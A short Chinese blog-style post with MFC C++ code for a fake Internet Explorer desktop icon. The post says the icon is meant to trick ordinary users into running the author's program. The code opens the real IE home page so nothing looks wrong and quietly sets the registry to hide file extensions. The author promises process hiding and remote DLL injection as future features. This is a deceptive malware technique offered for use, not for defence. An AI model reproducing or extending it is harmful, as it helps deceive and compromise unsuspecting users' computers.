1、先自己在网上找个IE的图标做资源

 

2、下面的代码目的是替换桌面上的IE图标,可以“忽悠”用户达到程序的运行权。咋的一看,IE一模一样,主页也没被修改,可双击打开的多了个你自己设定的网页,这样欺骗一下“普通用户”的视觉还是没问题的~~~~~~

void CMFCDlg::OnBtnIe7() 
{ 
	// TODO: Add your control notification handler code here 
	//读取IE主页设置、及IE路径 
	TCHAR  szExePath[]	=	_T("C://Program Files//Internet Explorer//IEXPLORE.EXE"); 
	char   szStartPage[MAX_PATH]; 
	HKEY   hKey1;  

	// 打开注册表
	if(RegOpenKey(HKEY_CURRENT_USER,_T("Software//Microsoft//Internet Explorer//Main"),&hKey1)!=ERROR_SUCCESS)   
	{     
		MessageBox(_T("读取IE主页失败!")); 
		return;   
	}   

	// 设置注册表键值
	DWORD  dwSize = sizeof(szStartPage);   
	RegQueryValueEx(hKey1,_T("Start Page"),NULL,NULL,(LPBYTE)szStartPage,&dwSize); 
	RegCloseKey(hKey1); 
	ShellExecute(NULL, "open", szStartPage, NULL, NULL, SW_SHOWNORMAL); 

	//修改文件扩展名隐藏属性 
	char buffer[]="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced"; 
	HKEY hKey2; 
	DWORD Data=1;   
	RegOpenKeyEx(HKEY_CURRENT_USER,buffer,0,KEY_ALL_ACCESS,&hKey2); 
	RegSetValueEx(hKey2,"HideFileExt",0,REG_DWORD,(CONST BYTE*)&Data,4); 
	RegCloseKey(hKey2); 
}


后面的功能还待完善,预计会在进程隐藏、远程DLL注入及不同IE版本等方面的予以改进,敬请关注!